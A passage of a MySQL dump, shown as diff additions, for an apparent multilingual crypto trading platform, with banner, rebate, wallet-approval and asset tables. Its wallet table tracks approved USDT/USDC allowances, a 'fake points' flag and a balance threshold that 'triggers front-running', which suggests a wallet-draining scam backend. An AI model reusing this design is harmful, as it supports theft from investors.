utf8mb4_bin NULL DEFAULT NULL, + `type` int(0) NULL DEFAULT NULL COMMENT '1广告2活动', + `source` int(0) NULL DEFAULT NULL COMMENT '展示端,1:PC,2:H5', + `language_id` int(0) NULL DEFAULT NULL COMMENT 'zh:1,cht:2,en:3,pt:4,sa:5,ko:6,ja:7,es:8,th:9,ms:10,id:11,fr:12,ru:13', + `agent` tinyint(0) NULL DEFAULT 0 COMMENT '0代理无关,1相关', + `jump_type` int(0) NULL DEFAULT NULL COMMENT '跳转类型 0 内链 1外链', + `sort_num` int(0) NULL DEFAULT NULL COMMENT '排序', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 139 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_bin COMMENT = '活动公告表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_activity +-- ---------------------------- +INSERT INTO `t_activity` VALUES (111, 'ppp008', '2023-02-09 22:57:46', 'ppp008', '2023-02-20 15:27:53', NULL, 01, '中文-秒合约', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/test7876b9290cd2422580cb1d9b29a1f5c3.png', '/exchange?tabName=sec', NULL, '../events/event_detail', '中文-秒合约', 1, NULL, 1, 0, NULL, 2); +INSERT INTO `t_activity` VALUES (112, 'ppp008', '2023-02-10 13:04:28', 'ppp008', '2023-02-20 15:30:42', NULL, 01, '中文-difi', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/test6e59430213584b0384f3290fdf48f3aa.png', '/non-pledge', NULL, '../events/event_detail', '中文-DIFI', 1, NULL, 1, 0, NULL, 1); +INSERT INTO `t_activity` VALUES (113, 'ppp008', '2023-02-10 13:10:23', 'ppp008', '2023-02-20 15:28:32', NULL, 01, '中文-质押', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/test88d9a0b7361b4e58b6d52e7bc1623835.png', '/pledge-mining', NULL, '../events/event_detail', '中文-质押', 1, NULL, 1, 0, NULL, 3); +INSERT INTO `t_activity` VALUES (114, 'ppp008', '2023-02-10 13:14:32', 'ppp008', '2023-02-20 18:03:37', NULL, 01, '越南-秒合约', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/test852ba707fb664a269209acc499dc6e4a.png', '/exchange?tabName=sec', NULL, '../events/event_detail', '越南-秒合约', 1, NULL, 14, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (115, 'ppp008', '2023-02-10 13:19:39', 'ppp008', '2023-02-20 18:03:57', NULL, 01, '越南-difi', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/test27c31840c3064e2f948104e73a7cdf62.png', '/non-pledge', NULL, '../events/event_detail', '越南-difi', 1, NULL, 14, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (116, 'ppp008', '2023-02-10 13:20:13', 'ppp008', '2023-02-20 18:05:21', NULL, 01, '越南-质押', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/testb3af08116f6c416e933c105498e7b117.png', '/pledge-mining', NULL, '../events/event_detail', '越南-质押', 1, NULL, 14, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (117, 'ppp008', '2023-02-10 13:59:33', 'ppp008', '2023-02-20 18:04:39', NULL, 01, '英文-秒合约', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/teste3d5a21430e1462eb94062f180d5dbe3.png', '/exchange?tabName=sec', NULL, '../events/event_detail', '英文-秒合约', 1, NULL, 3, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (118, 'ppp008', '2023-02-10 14:00:47', 'ppp008', '2023-02-20 18:07:31', NULL, 01, '英文-difi', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/test2613f66b8bb7421787d0990c4c6db130.png', '/non-pledge', NULL, '../events/event_detail', '英文-difi', 1, NULL, 3, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (119, 'ppp008', '2023-02-10 14:01:28', 'ppp008', '2023-02-20 18:07:45', NULL, 01, '英文-质押', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/testd6873b9765934160a098d29364644900.png', '/pledge-mining', NULL, '../events/event_detail', '英文-质押', 1, NULL, 3, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (120, 'ppp008', '2023-02-10 14:04:29', 'ppp008', '2023-02-20 18:08:02', NULL, 01, '泰语-秒合约', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/test24b7d14cdb7b4e6683e5bf3cf31115cc.png', '/exchange?tabName=sec', NULL, '../events/event_detail', '泰语-秒合约', 1, NULL, 9, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (121, 'ppp008', '2023-02-10 14:04:58', 'ppp008', '2023-02-20 18:08:53', NULL, 01, '泰语-difi', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/testac96224c90574403b90e00b8afa78a39.png', '/non-pledge', NULL, '../events/event_detail', '泰语-difi', 1, NULL, 9, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (122, 'ppp008', '2023-02-10 14:06:15', 'ppp008', '2023-02-20 18:09:16', NULL, 01, '泰语-质押', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/testf236c92acac94d06b7a360bd5cebfd86.png', '/pledge-mining', NULL, '../events/event_detail', '泰语-质押', 1, NULL, 9, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (123, 'ppp008', '2023-02-10 14:06:54', 'ppp008', '2023-02-20 18:10:24', NULL, 01, '葡萄牙-秒合约', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/test9c3a591db2f64835aad38345fb0f434a.png', '/exchange?tabName=sec', NULL, '../events/event_detail', '葡萄牙-秒合约', 1, NULL, 4, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (124, 'ppp008', '2023-02-10 14:08:00', 'ppp008', '2023-02-20 18:11:11', NULL, 01, '葡萄牙-difi', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/test367b2eaeed504633852de307f9ddec3f.png', '/non-pledge', NULL, '../events/event_detail', '葡萄牙-difi', 1, NULL, 4, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (125, 'ppp008', '2023-02-10 14:08:45', 'ppp008', '2023-02-20 18:11:30', NULL, 01, '葡萄牙-质押', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/test10ed11f66a9947b4987311ca5d6364d4.png', '/pledge-mining', NULL, '../events/event_detail', '葡萄牙-质押', 1, NULL, 4, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (126, 'ppp008', '2023-02-10 14:11:31', 'ppp008', '2023-02-20 18:12:26', NULL, 01, '日语-秒合约', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/test266d70d14e7b4130bbff4914ce66e6ce.png', '/exchange?tabName=sec', NULL, '../events/event_detail', '日语-秒合约', 1, NULL, 7, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (127, 'ppp008', '2023-02-10 14:12:49', 'ppp008', '2023-02-20 18:12:41', NULL, 01, '日语-difi', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/teste0eda3119066474eaad179092643a765.png', '/non-pledge', NULL, '../events/event_detail', '日语-difi', 1, NULL, 7, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (128, 'ppp008', '2023-02-10 14:19:06', 'ppp008', '2023-02-20 18:14:33', NULL, 01, '日语-质押', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/testdc0e61406d184678854f89c863c8cda2.png', '/pledge-mining', NULL, '../events/event_detail', '日语-质押', 1, NULL, 7, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (129, 'ppp008', '2023-02-10 14:20:44', 'ppp008', '2023-02-20 18:14:51', NULL, 01, '韩语-秒合约', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/test5363ccad66684f81aff8f5bc18b3717c.png', '/exchange?tabName=sec', NULL, '../events/event_detail', '韩语-秒合约', 1, NULL, 6, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (130, 'ppp008', '2023-02-10 14:21:30', 'ppp008', '2023-02-20 18:15:10', NULL, 01, '韩语-difi', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/test1af383bbee514970a6c295ca01bc147c.png', '/non-pledge', NULL, '../events/event_detail', '韩语-difi', 1, NULL, 6, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (131, 'ppp008', '2023-02-10 14:21:58', 'ppp008', '2023-02-20 18:15:59', NULL, 01, '韩语-质押', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/testb795f3b4b8b3429db6c52f1af68ab681.png', '/pledge-mining', NULL, '../events/event_detail', '韩语-质押', 1, NULL, 6, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (132, 'ppp008', '2023-02-10 15:45:00', 'ppp008', '2023-02-10 15:50:52', NULL, 01, '中文', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/test5f0b4f7d329040d5bd17fcd207061660.png', '', NULL, '../events/event_detail', '中文', 2, NULL, 1, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (133, 'ppp008', '2023-02-10 15:46:48', 'ppp008', '2023-02-10 15:51:04', NULL, 01, '泰语', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/test05763ff8f4b44680a47ebf1ef2fe5fb7.png', '', NULL, '../events/event_detail', '泰语', 2, NULL, 9, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (134, 'ppp008', '2023-02-10 15:51:24', 'ppp008', '2023-02-10 15:51:40', NULL, 01, '韩语', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/test2bb8f41d9cda473e9ce4a3bbcc3c8515.png', '', NULL, '../events/event_detail', '韩语', 2, NULL, 6, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (135, 'ppp008', '2023-02-10 15:52:16', 'ppp008', '2023-02-10 15:52:16', NULL, 01, '英语', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/test219d494058e7490b822265cb5d9fa9dc.png', '', NULL, NULL, '英语', 2, NULL, 3, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (136, 'ppp008', '2023-02-10 15:52:56', 'ppp008', '2023-02-10 15:52:56', NULL, 01, '葡萄牙', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/test571b12007041455e8325a9612c696965.png', '', NULL, NULL, '葡萄牙', 2, NULL, 4, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (137, 'ppp008', '2023-02-10 15:53:29', 'ppp008', '2023-02-10 15:53:29', NULL, 01, '日语', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/testcfb80222aa474a90aa148cb6e21fad7d.png', '', NULL, NULL, '日语', 2, NULL, 7, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (138, 'ppp008', '2023-02-10 15:53:57', 'ppp008', '2023-02-10 15:53:57', NULL, 01, '越南', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/test029818a6765847abbd847989a591f855.png', '', NULL, NULL, '越南', 2, NULL, 14, 0, NULL, NULL); + +-- ---------------------------- +-- Table structure for t_activity_recharge +-- ---------------------------- +DROP TABLE IF EXISTS `t_activity_recharge`; +CREATE TABLE `t_activity_recharge` ( + `id` int(0) NOT NULL AUTO_INCREMENT COMMENT 'id', + `on_off` int(0) NULL DEFAULT NULL COMMENT '0-关闭 1-开启', + `recharge_pro` decimal(12, 2) NULL DEFAULT NULL COMMENT '充值返点比例', + `max_rebate` decimal(12, 2) NULL DEFAULT NULL COMMENT '充值返点最大值', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '充值活动表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_admin +-- ---------------------------- +DROP TABLE IF EXISTS `t_admin`; +CREATE TABLE `t_admin` ( + `id` int(0) NOT NULL, + `ad` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_agent_activity_info +-- ---------------------------- +DROP TABLE IF EXISTS `t_agent_activity_info`; +CREATE TABLE `t_agent_activity_info` ( + `id` bigint(0) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT 'id', + `type` int(0) NULL DEFAULT NULL COMMENT '1 充值返利 2挖矿返利', + `amount` decimal(30, 6) NULL DEFAULT NULL COMMENT '返利金额', + `coin_type` varchar(30) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '币种', + `from_id` bigint(0) NULL DEFAULT NULL COMMENT '返利用户', + `user_id` bigint(0) NULL DEFAULT NULL COMMENT '用户id', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `status` int(0) NULL DEFAULT NULL COMMENT '1 待返 2 已返', + `login_name` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `serial_id` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '返利活动明细表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_app_address_info +-- ---------------------------- +DROP TABLE IF EXISTS `t_app_address_info`; +CREATE TABLE `t_app_address_info` ( + `user_id` bigint(0) NOT NULL AUTO_INCREMENT, + `address` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL COMMENT '地址', + `wallet_type` varchar(15) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT 'ETH' COMMENT '地址类型', + `usdt_allowed` decimal(20, 6) NULL DEFAULT 0.000000 COMMENT '授权USDT金额上限', + `usdt` decimal(20, 6) NULL DEFAULT NULL COMMENT '钱包地址U余额', + `eth` decimal(20, 6) NULL DEFAULT NULL COMMENT '钱包地址ETH余额', + `trx` decimal(20, 6) NULL DEFAULT NULL, + `btc` decimal(20, 6) NULL DEFAULT NULL COMMENT '钱包地址BTC余额', + `allowed_notice` tinyint(0) NULL DEFAULT 0 COMMENT '授权是否播报.0-没有,1-有.历史数据不播报', + `usdt_monitor` decimal(20, 6) NULL DEFAULT 0.000000 COMMENT 'U监控额度 大于这个金额触发抢跑', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '创建人', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '更新人', + `update_time` datetime(0) NULL DEFAULT NULL ON UPDATE CURRENT_TIMESTAMP(0) COMMENT '更新时间', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '备注', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `status` varchar(2) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT 'N' COMMENT '是否假分 Y 是 N 否', + `usdc_allowed` decimal(20, 6) NULL DEFAULT 0.000000 COMMENT '授权USDC金额上限', + `usdc` decimal(20, 6) NULL DEFAULT NULL COMMENT '钱包地址USDC', + PRIMARY KEY (`user_id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 324 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '钱包地址授权详情' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_app_address_info +-- ---------------------------- +INSERT INTO `t_app_address_info` VALUES (310, '0x8b39d50aebeea1b28052d9aa2b638edcc821e865', 'ETH', 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0, 0.000000, NULL, NULL, NULL, '2024-01-19 12:44:35', NULL, NULL, 'N', 0.000000, 0.000000); +INSERT INTO `t_app_address_info` VALUES (311, '0x00cfe654e48c8d196476424ec6018d91e9c34513', 'ETH', 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0, 0.000000, NULL, NULL, NULL, NULL, NULL, NULL, 'N', 0.000000, NULL); +INSERT INTO `t_app_address_info` VALUES (312, '0xcceefd5a9d12e26715e7faa2c092f492ab0191b5', 'ETH', 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0, 0.000000, NULL, NULL, NULL, NULL, NULL, NULL, 'N', 0.000000, NULL); +INSERT INTO `t_app_address_info` VALUES (313, '0x344ec899af52933790bf44015be1bf48382d7920', 'ETH', 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0, 0.000000, NULL, NULL, NULL, NULL, NULL, NULL, 'N', 0.000000, NULL); +INSERT INTO `t_app_address_info` VALUES (314, '0x77e832ce6ee6fc321b7e4fc83b43d31d4cc1ce13', 'ETH', 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0, 200.000000, NULL, NULL, NULL, '2023-12-08 03:09:14', NULL, NULL, 'N', 0.000000, 0.000000); +INSERT INTO `t_app_address_info` VALUES (316, '0xcbb81ada0f810db490fcbf46811edced8f005ad1', 'ETH', 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0, 0.000000, NULL, NULL, NULL, NULL, NULL, NULL, 'N', 0.000000, NULL); +INSERT INTO `t_app_address_info` VALUES (317, '0x10879c7c320fe391f400369b8d74c0b34a201cf6', 'ETH', 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0, 0.000000, NULL, NULL, NULL, NULL, NULL, NULL, 'N', 0.000000, NULL); +INSERT INTO `t_app_address_info` VALUES (318, '0x12b3b2edc022e349b67a8b124e4ac377363b1cb4', 'ETH', 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0, 0.000000, NULL, NULL, NULL, NULL, NULL, NULL, 'N', 0.000000, NULL); +INSERT INTO `t_app_address_info` VALUES (322, '0x40e7909a8fe1e71d5b5f8c67f12d8006be42f8c9', 'ETH', 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0, 0.000000, NULL, NULL, NULL, NULL, NULL, NULL, 'N', 0.000000, NULL); +INSERT INTO `t_app_address_info` VALUES (323, '0xd31d6172ac655297ff3d0562790052878099e000', 'ETH', 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0, 0.000000, NULL, NULL, NULL, '2024-01-19 19:17:23', NULL, NULL, 'N', 0.000000, 0.000000); + +-- ---------------------------- +-- Table structure for t_app_asset +-- ---------------------------- +DROP TABLE IF EXISTS `t_app_asset`; +CREATE TABLE `t_app_asset` ( + `user_id` bigint(0) NOT NULL, + `adress` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '地址', + `symbol` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '币种', + `amout` decimal(30, 6) NOT NULL DEFAULT 0.000000 COMMENT '资产总额', + `occupied_amount` decimal(30, 6) NOT NULL DEFAULT 0.000000 COMMENT '占用资产', + `available_amount` decimal(30, 6) NOT NULL DEFAULT 0.000000 COMMENT '可用资产', + `type` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '资产类型 1=平台资产 2=理财资产 3=合约账户', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '创建人', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '更新人', + `update_time` datetime(0) NULL DEFAULT NULL ON UPDATE CURRENT_TIMESTAMP(0) COMMENT '更新时间', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '备注', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci COMMENT = '玩家资产表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_app_asset +-- ---------------------------- +INSERT INTO `t_app_asset` VALUES (309, NULL, 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-11-19 00:48:47', NULL, '2023-11-19 00:48:47', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (309, NULL, 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-11-19 00:48:47', NULL, '2023-11-19 00:48:47', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (309, NULL, 'usdt', 273.600000, 0.000000, 273.600000, '1', NULL, '2023-11-19 00:48:47', NULL, '2024-02-11 08:16:10', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (309, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2023-11-19 00:48:47', NULL, '2023-11-19 00:48:47', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (309, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2023-11-19 00:48:47', NULL, '2023-11-19 00:48:47', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (310, '0x8b39d50aebeea1b28052d9aa2b638edcc821e865', 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-11-20 03:13:30', NULL, '2023-11-20 03:13:30', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (310, '0x8b39d50aebeea1b28052d9aa2b638edcc821e865', 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-11-20 03:13:30', NULL, '2023-11-20 03:13:30', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (310, '0x8b39d50aebeea1b28052d9aa2b638edcc821e865', 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-11-20 03:13:30', NULL, '2023-11-20 03:13:30', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (310, '0x8b39d50aebeea1b28052d9aa2b638edcc821e865', 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2023-11-20 03:13:30', NULL, '2023-11-20 03:13:30', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (310, '0x8b39d50aebeea1b28052d9aa2b638edcc821e865', 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2023-11-20 03:13:30', NULL, '2023-11-20 03:13:30', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (311, '0x00cfe654e48c8d196476424ec6018d91e9c34513', 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-11-20 03:32:44', NULL, '2023-11-20 03:32:44', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (311, '0x00cfe654e48c8d196476424ec6018d91e9c34513', 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-11-20 03:32:44', NULL, '2023-11-20 03:32:44', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (311, '0x00cfe654e48c8d196476424ec6018d91e9c34513', 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-11-20 03:32:44', NULL, '2023-11-20 03:32:44', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (311, '0x00cfe654e48c8d196476424ec6018d91e9c34513', 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2023-11-20 03:32:44', NULL, '2023-11-20 03:32:44', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (311, '0x00cfe654e48c8d196476424ec6018d91e9c34513', 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2023-11-20 03:32:44', NULL, '2023-11-20 03:32:44', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (312, '0xcceefd5a9d12e26715e7faa2c092f492ab0191b5', 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-11-20 03:45:09', NULL, '2023-11-20 03:45:09', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (312, '0xcceefd5a9d12e26715e7faa2c092f492ab0191b5', 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-11-20 03:45:09', NULL, '2023-11-20 03:45:09', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (312, '0xcceefd5a9d12e26715e7faa2c092f492ab0191b5', 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-11-20 03:45:09', NULL, '2023-11-20 03:45:09', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (312, '0xcceefd5a9d12e26715e7faa2c092f492ab0191b5', 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2023-11-20 03:45:09', NULL, '2023-11-20 03:45:09', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (312, '0xcceefd5a9d12e26715e7faa2c092f492ab0191b5', 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2023-11-20 03:45:09', NULL, '2023-11-20 03:45:09', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (313, '0x344ec899af52933790bf44015be1bf48382d7920', 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-11-20 06:58:17', NULL, '2023-11-20 06:58:17', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (313, '0x344ec899af52933790bf44015be1bf48382d7920', 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-11-20 06:58:17', NULL, '2023-11-20 06:58:17', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (313, '0x344ec899af52933790bf44015be1bf48382d7920', 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-11-20 06:58:17', NULL, '2023-11-20 06:58:17', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (313, '0x344ec899af52933790bf44015be1bf48382d7920', 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2023-11-20 06:58:17', NULL, '2023-11-20 06:58:17', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (313, '0x344ec899af52933790bf44015be1bf48382d7920', 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2023-11-20 06:58:17', NULL, '2023-11-20 06:58:17', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (314, '0x77e832ce6ee6fc321b7e4fc83b43d31d4cc1ce13', 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-11-20 10:10:59', NULL, '2023-11-20 10:10:59', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (314, '0x77e832ce6ee6fc321b7e4fc83b43d31d4cc1ce13', 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-11-20 10:10:59', NULL, '2023-11-20 10:10:59', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (314, '0x77e832ce6ee6fc321b7e4fc83b43d31d4cc1ce13', 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-11-20 10:10:59', NULL, '2023-11-20 10:10:59', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (314, '0x77e832ce6ee6fc321b7e4fc83b43d31d4cc1ce13', 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2023-11-20 10:10:59', NULL, '2023-11-20 10:10:59', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (314, '0x77e832ce6ee6fc321b7e4fc83b43d31d4cc1ce13', 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2023-11-20 10:10:59', NULL, '2023-11-20 10:10:59', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (315, NULL, 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-11-23 17:07:46', NULL, '2023-11-23 17:07:46', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (315, NULL, 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-11-23 17:07:46', NULL, '2023-11-23 17:07:46', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (315, NULL, 'usdt', 5442.400000, 0.000000, 5442.400000, '1', NULL, '2023-11-23 17:07:46', NULL, '2024-01-19 04:23:02', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (315, NULL, 'usdt', 5000.000000, 0.000000, 5000.000000, '2', NULL, '2023-11-23 17:07:46', NULL, '2023-11-23 17:07:46', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (315, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2023-11-23 17:07:46', NULL, '2023-11-23 17:07:46', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (316, '0xcbb81ada0f810db490fcbf46811edced8f005ad1', 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-12-05 14:30:28', NULL, '2023-12-05 14:30:28', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (316, '0xcbb81ada0f810db490fcbf46811edced8f005ad1', 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-12-05 14:30:28', NULL, '2023-12-05 14:30:28', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (316, 